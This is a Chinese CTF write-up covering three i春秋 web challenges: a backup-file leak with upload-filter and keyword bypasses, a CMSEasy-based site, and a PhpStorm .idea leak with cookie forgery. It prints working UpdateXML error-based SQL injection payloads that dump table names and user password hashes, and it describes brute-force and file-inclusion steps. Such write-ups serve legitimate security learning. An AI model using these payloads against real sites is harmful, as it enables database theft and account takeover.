i春秋4
web——123
找了一下,发现一个提示,用户信息在user.php当中
但是当我直接打开user.php的时候,啥也没有,尝试了一下发现了user.php.bak文件,下载打开
这里需要说一下:这里属于备份隐私文件泄露,后缀之前有整理过了
打开以后,里面均为用户信息,结合提示密码为用户名加出生日期,但是由于没有提供出生日期,只有用户名,所以我们就将年龄设置一下直接跑用户名就行,如下:
这里学一下如何用burp同时爆破两个变量 ,选择
这个模式即可
其他模式参考:https://blog.csdn.net/qq_39101049/article/details/90234669
发现这个人的账号密码是OK的 登录试试
一片空白,查看源码:
由于这里被注释了,所以我们需要再创建一个,然后页面上就会出现文件上传的入口了
上传php文件,发现存在过滤,但是不知道是不是白名单,尝试一下其他文件类型
尝试了好几种发现没有结果,感觉还挺奇怪的,可能因为是他的代码里面写的是检测第一个.后面的内容是否包含白名单文件吧,因为是题目,所以第二点号后面如果为pht,phtml的时候但是不能包含php3的时候文件才会被成功上传,尽管你上传白名单的那三个文件,也是会返回说文件名不合法的,到了这里,其实就是尝试了,也没啥好说的,感觉可以做一个字典,后缀字典,到时候跑一下就行了。。。
一开始有点定性思维,认为是apache解析漏洞,从右到左进行判断,所以我构造的都是123.php.jpg之类的文件,尝试了好多种组合都无果,最后看了一下wp才知道。。。果然还是要多刷题
当我打开这个文件的时候
在看了一下源码,和报文,没有其他收获,试试是不是文件包含吧?因为这个时候也只有这种可能了
他一开始说过滤了flag,在尝试了大小写混写以后,发现复写flag就可以绕过了
web——YeserCMS
查找漏洞题。。。看一下网站框架在评论区看到
百度查找cmseasy漏洞,接下来就看着操作了。。。
漏洞出现在parse_str($sQuery,$aArray);
所以 可以进行报错注入
1 | elive/live/header.php |
所以 跳转:
http://3f50fc9615c747578e1c6fd0a4a9d076c1687d99683d45b6.changame.ichunqiu.com//celive/live/header.php
然后post发送一下以上payload:
得到
1 | xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()) ,720,900),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery> |
以上是爆表,由于一次性显示的字符数有限制,所以,在不断更换后面的显示段数,找到了user表
1 | xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT((column_name)) from information_schema.columns where table_name='yesercms_user') ,1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery> |
1 | xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,password)) from yesercms_user) ,10,42),0x5d),1)),NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery> |
密码为md5加密,解密完以后是Yeser231
成功登陆以后,在网页中寻找可以打开flag.php的地方,利用burpsuit抓包修改参数即可
web——Code
图片后面是经过base64加密,解密以后可得:
1 | /** |
从上面信息可得到,为phpstorm创建所得,phpstorm是php代码的集成开发环境,下载phpstorm,并新建一个项目,会发现在项目文件夹里面会生成一个.idea文件,它存储了项目的配置文件,
打开.idea文件可以发现misc.xml,modules.xml,workspace.xml文件。
1 | http://a8af39458fca4aa7a15a802e4b9f189cfb7d36988dba497a.changame.ichunqiu.com/.idea/workspace.xml |
打开此URL,看到配置文件,发现fl3g_ichuqiu.php文件打开它看看
1 | http://a8af39458fca4aa7a15a802e4b9f189cfb7d36988dba497a.changame.ichunqiu.com/index.php?jpg=fl3gconfigichuqiu.php |
因为上面说可以用config替换_在我直接使用_的时候是打不开的,当我变成config才能打开。。,然后就又会看到一段使用base64编码的字符串
1 |
|
求解思路:先对system使用ord和chr+10,然后再和key进行异或,就可以得到txt,而txt就是我们需要输入的内容
其中 key是未知的,所以key的求解需要我们从后面的setcookie中得到,用guest作为txt,用ord和chr各加10,得到tmp,此时的txt就等于tmp了,rnd是一个四位的随机数,和key拼接后md5加密得到一个新的key,要得到这个新的key,可以通过使用返回的cookie和tmp异或运算得到
传送个cookie值,要让他经过一系列的解码运算后等于system
我们打开fl3g_ichunqiu.php,会发现他有那个user的cookie,接下来编写脚本:1 | import requests |
关于脚本的编写,在理解完求解方式后,其实编写困难就在于语法了,在这里可以输出所有的结果,将它导出作为一个爆破字典,再用burp进行爆破即可
最后解决一个问题:这个key为什么不会改变?明明在解密和加密的时候都出现了运算:
首先造成这个key改变的原因是什么?是rnd的变化,而rnd的变化只出现在加密当中,也就是当我们输入错误的cookie的时候他才会reset,但是我们利用burp进行重放攻击的时候,针对都是一样的cookie,相当于每次攻击完回到初始化,而我们在python中对于key的求解的时候,这个rnd它是不改变的,所以这个key也不会变化,在burp爆破进入加密时,由于这个rnd是截取我们的cookie前几位所以最终的key也是不变的。
一点总结
感觉对于python脚本的编写还不是很熟练,有些语法还不是很熟练。。不过现在也有感觉好像用的最多的是什么,然后审计代码的时候,果然还是要静下心来好好看才行